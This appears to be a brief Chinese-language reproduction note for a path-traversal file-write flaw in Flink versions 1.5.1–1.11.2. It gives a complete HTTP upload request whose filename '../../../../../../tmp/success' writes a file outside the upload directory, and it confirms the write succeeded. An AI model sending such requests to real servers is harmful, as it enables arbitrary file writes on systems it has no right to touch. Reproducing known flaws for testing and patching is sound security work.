影响版本

Flink1.5.1-1.11.2

复现

POST /jars/upload HTTP/1.1

Host: localhost:8081

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success

------WebKitFormBoundaryoZ8meKnrrso89R6Y--

回400，但是镜像里面有了success文件，执行成功